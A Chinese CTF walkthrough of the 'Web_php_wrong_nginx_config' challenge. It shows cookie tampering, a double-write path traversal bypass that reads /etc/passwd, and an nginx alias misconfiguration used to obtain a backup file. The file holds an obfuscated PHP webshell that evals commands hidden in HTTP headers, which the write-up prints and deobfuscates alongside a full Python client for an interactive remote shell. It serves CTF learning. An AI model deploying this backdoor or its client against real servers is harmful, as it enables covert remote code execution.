攻防世界web进阶区Web_php_wrong_nginx_config详解

  • 题目
    • 详解

题目


打开发现无论我们输入什么他都会弹出网站建设不完全

那么我们使用御剑进行扫描,扫描到了admin和robots.txt
我们访问admin试试



我们接着访问hint.php

和Hack.php


这个打开直接弹窗

详解

好嘞,我们正式开搞!

发现这里有一个cookie为0的值,我们改为1

发现成功登录

进去瞎点一通,发现,只有管理中心可以改变url

/admin/admin.php?file=index&ext=php

我们试试文件包含../


无论我们加入多少…/均不能,猜测是过滤了

我们在正常的url中加入…/ ./ /测试
发现只有加…/和原页面一致,
说明他过滤了…/
而且还是置为空
那么我们就可以进行双写绕过
/admin/admin.php?file=./..././..././..././..././etc/passwd&ext=
成功包含。

ext一定不要写东西,因为他是一个后缀,如果写入php,的话,他会按照php进行打开
根据hint.php提示包含配置文件。

            server {listen 8080; ## listen for ipv4; this line is default and impliedlisten [::]:8080; ## listen for ipv6root /var/www/html;index index.php index.html index.htm;port_in_redirect off;server_name _;# Make site accessible from http://localhost/#server_name localhost;# If block for setting the time for the logfileif ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {set $year $1;set $month $2;set $day $3;}# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.htmlsendfile off;set $http_x_forwarded_for_filt $http_x_forwarded_for;if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {set $http_x_forwarded_for_filt $1???;}# Add stdout loggingaccess_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;error_log /var/log/nginx/error.log info;location / {# First attempt to serve request as file, then# as directory, then fall back to index.htmltry_files $uri $uri/ /index.php?q=$uri&$args;server_tokens off;}#error_page 404 /404.html;# redirect server error pages to the static page /50x.html#error_page 500 502 503 504 /50x.html;location = /50x.html {root /usr/share/nginx/html;}location ~ \.php$ {try_files $uri $uri/ /index.php?q=$uri&$args;fastcgi_split_path_info ^(.+\.php)(/.+)$;fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;fastcgi_param SCRIPT_NAME $fastcgi_script_name;fastcgi_index index.php;include fastcgi_params;fastcgi_param REMOTE_ADDR $http_x_forwarded_for;}location ~ /\. {log_not_found off;deny all;}location /web-img {alias /images/;autoindex on;}location ~* \.(ini|docx|pcapng|doc)$ {  deny all;  }  include /var/www/nginx[.]conf;
}

发现倒数几行location /web-img开启了目录浏览 autoindex on;.

那么我们进行访问。/web-img/

alias用法
https://blog.csdn.net/kinginblue/article/details/50748683

也就是说 alias 会丢弃掉 location 的路径
因此 alias 后面的路径是从系统根目录开始的


发现hack.php.bak
下载好发现,如下

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

这是一个后门页面,网上有师傅们的源码
php混淆后门
https://www.cnblogs.com/go2bed/p/5920811.html

我们这儿只有一个F,输出看看,

整理一下

$kh="42f7";
$kf="e9ac";
function x($t,$k) {$c=strlen($k);$l=strlen($t);$o="";for ($i=0;$i<$l;) {for ($j=0;($j<$c&&$i<$l);$j++,$i++) {$o.=$t {$i}^$k {$j};}}return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m) {@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0) {$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)) {$s[$i].=$p;$e=strpos($s[$i],$f);if($e) {$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}
}

我们找大佬的脚本测试一下
php混淆后门

# encoding: utf-8from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import redef choicePart(seq,amount):length = len(seq)if length == 0 or length < amount:print 'Error Input'return Noneresult = []indexes = []count = 0while count < amount:i = randint(0,length-1)if not i in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = ''for i in xrange(amount):result += chr(randint(0,255))return  resultdef randAlpha(amount):result = ''for i in xrange(amount):result += choice(string.ascii_letters)return resultdef loopXor(text,key):result = ''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt<lenTxt and iKey<lenKey:result += chr(ord(key[iKey]) ^ ord(text[iTxt]))iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print msg# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:40004/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)acceptLang = [defaultLang]
for i in xrange(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in xrange(max(indexes)+1+randint(0,2)):key = randAlpha(randint(3,6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.urlencode(query))# encode payloadpayload = zlib.compress(cmd)payload = loopXor(payload,xorKey)payload = base64.urlsafe_b64encode(payload)payload = md5head + payload# cut payload, replace into referercutIndex = randint(2,len(payload)-3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0],payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))output = pattern.findall(html)if len(output) == 0:print 'Error,  no backdoor response'cmd = raw_input('phpshell > ')continueoutput = output[0]debugPrint(output)output = output.decode('base64')output = loopXor(output,xorKey)output = zlib.decompress(output)print outputcmd = raw_input('phpshell > ')

成功执行命令,

攻防世界web进阶区Web_php_wrong_nginx_config详解相关推荐

  1. 攻防世界web进阶区ics-05详解

    攻防世界web进阶区ics-05详解 题目 解法 preg_replace ctype_alnum strpos X-Forwarded-For 题目 我们只能点击一个地方 解法 御剑扫描有一个css ...

  2. 攻防世界web进阶区Web_python_block_chain详解

    攻防世界web进阶区Web_python_block_chain详解 题目 详解 51% 双花攻击 题目 详解 我们整理一下 Announcement: The server has been res ...

  3. 攻防世界web进阶区wtf.sh-150详解

    攻防世界web进阶区wtf.sh-150详解 题目 详解 题目 看起来像一个论坛,可以注册,登录 详解 我们随便打开一个 尝试注入 并没有发现可以注入 注册发现,admin已经存在, 我们看看能不能二 ...

  4. 攻防世界——web新手区(全解)

    当前网络安全形式越来越严重,我国也越来越重视,现在国内乃至国际上各个网络攻防大赛层出不穷,但是练习平台却还是很稀缺,可以说目前网上能够练习的平台也就只有几家,大多数的院校它们有自己的练习平台但并不公开 ...

  5. 攻防世界MISC进阶区刷题记录

    文章目录 攻防世界MISC进阶区刷题记录 Ditf 运用stegextract进行分离 glance-50 gif图片分离组合脚本 hit-the-core Test-flag-please-igno ...

  6. 攻防世界web新手区(来自小白)*-*

    鄙人是个纯纯的小白,这个博客也是给小白写的,不过大佬们也不会来查这些题的wp吧 拍飞 文章目录 攻防世界WEB新手区(1--11) 第一题view_source 第二题robots 第三题backup ...

  7. 攻防世界 pwn进阶区----No.012 babyfengshui 解题思路

    攻防世界 pwn进阶区----No.012 babyfengshui 解题思路 1.本题解题思路 1.先期工作 1.运行程序查看基本逻辑 创建用户 展示用户 更新用户 删除用户 到这里就可以猜测这题有 ...

  8. 攻防世界高手进阶区——dice_game

    攻防世界高手进阶区--dice_game 题目里面啥都没有. 一.分析文件 checksec 只有栈溢出保护关闭了,其他都是开着的. 运行 可以看出是要猜数字,猜对50次. ida逆向 __int64 ...

  9. 攻防世界高手进阶区 ——forgot

    攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...

最新文章

  1. 定位域中长期不活动计算机
  2. 【数理知识】《积分变换与场论》王振老师-第3章-矢量与矢量空间
  3. python解题软件哪个好_笔试 - 高德软件有限公司python问题 和 答案
  4. new 实例化对象是啥意思_前端经典面试题解密:JS的new关键字都干了什么?
  5. python时间序列进行线性插值_Python实现线性插值和三次样条插值
  6. comet for java_java comet tomcat推送
  7. 分压式静态工作点稳定电路
  8. svn和GitHub的使用
  9. Spring-IOC
  10. Adobe MasterCollection CS5 试用版下载链接
  11. string进行大小写转换
  12. PS一键磨皮美白扩展插件Delicious Retouch 5.0 汉化集合版 Win/Mac
  13. 二进制安装MySQL以及密码破解
  14. Sketch52 52.1 新功能介绍(包含下载链接)
  15. 强化学习七日打卡营终极复现之flappy bird
  16. 2018初中计算机考试知识点,2018计算机等级考试考点:考前学习的技巧
  17. 蛙蛙推荐:如何编写高质量的python程序
  18. 探索移动端音视频与GSYVideoPlayer之旅 | Agora Talk
  19. 机器学习入门三剑客之Matplotlib
  20. python No such file or directory

热门文章

  1. 相关系数和相关性分析(上):皮尔逊相关系数、斯皮尔曼相关系数
  2. 物联网python开发实战pdf_智能物联网项目开发实战 PDF 下载
  3. 微宝自动更新影视源码全解
  4. Hutool PinyinUtil(拼音工具类)使用详解
  5. j-link 驱动下载地址
  6. 边缘检测,Roberts 算子,Sobel算子,Canny 算子
  7. springboot启动报错CommentService required a bean of type ‘com.xxx.xxx.dao.CommentMapper‘ that could not
  8. JavaWeb学习笔记:拦截器
  9. 吉利博瑞星越缤瑞领克01/02/03车机安装第三方软件carplay启用教程,附最新可用dns
  10. 怎么用计算机算几何倍增,城市规划中对计算机仿真技术应用.doc